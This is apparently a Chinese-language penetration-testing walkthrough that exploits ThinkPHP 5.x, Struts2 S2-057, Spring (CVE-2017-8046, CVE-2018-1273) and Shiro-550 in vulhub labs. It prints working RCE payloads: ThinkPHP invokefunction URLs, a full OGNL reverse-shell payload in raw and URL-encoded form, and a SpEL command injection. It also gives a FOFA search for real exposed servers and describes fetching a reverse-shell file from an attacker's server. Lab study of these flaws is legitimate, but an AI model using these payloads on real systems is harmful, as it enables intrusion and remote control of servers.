Thinkphp
Thinkphp5x遠程命令執行及getshell
首先我們先找一個環境,或者自己搭建一個環境
fofa:body="ThinkPHP V5"
搭建:vulhub/thinkphp/5-rce
docker-compose up -d
然后去訪問我們的環境
遠程命令執行
/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
遠程代碼執行
/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
struts2
S2-057遠程執行代碼漏洞
環境依舊采用vulhub搭建
vulhub靶場 /struts2/s2-057
首先我們先搭建好我們的環境
我們再網址后拼接,并訪問
/struts2-showcase/${(123+123)}/actionChain1.action
可以發現兩個數字相加了,那么我們就可以利用中間來執行代碼操作,反彈shell
首先開啟監聽
然后將中間替換為我們的地址
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash -c {echo,反彈shell命令的base64編碼}|{base64,-d}|{bash,-i}')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
url編碼--->
/%24{%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request['struts.valueStack'].context).(%23cr%3D%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('bash -c {echo反彈shell命令的base64編碼的url編碼}|{base64%2C-d}|{bash%2C-i}')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))}
然后即可反彈到shell?
Spring
Spring Data Rest 遠程命令執行命令(CVE-2017-8046)
搭建環境
vulhub靶場 /spring/CVE-2017-8046
訪問我們的環境,出現這個頁面即為搭建成功
然后開啟抓包,刷新一下頁面進行抓包,修改一下我們的請求方式和請求內容
[{ "op": "replace","path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(newbyte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"vulhub" }]
然后去我們的容器中看一下,寫入成功
spring 代碼執行(CVE-2018-1273)
按照上述方式按照啟動對應編號的環境
訪問靶場
隨便輸入用戶名和密碼進行登錄然后抓包
然后我們修改一下username的內容,可以看到crz創建成功
那么我們可以借此來反彈一下shell,從我們的服務器上下載一下我們反彈shell的文件
然后去訪問他,反彈成功
Shiro
Shiro rememberMe反序列化漏洞(Shiro-550)
首先搭建環境
vulhub靶場 /shiro/CVE-2016-4437
然后登錄抓包
可以看到有這個字段就說明有這個漏洞,然后我們就可以利用工具來爆破這個漏洞

開啟監聽

下載并運行我們的反彈shell的文件


2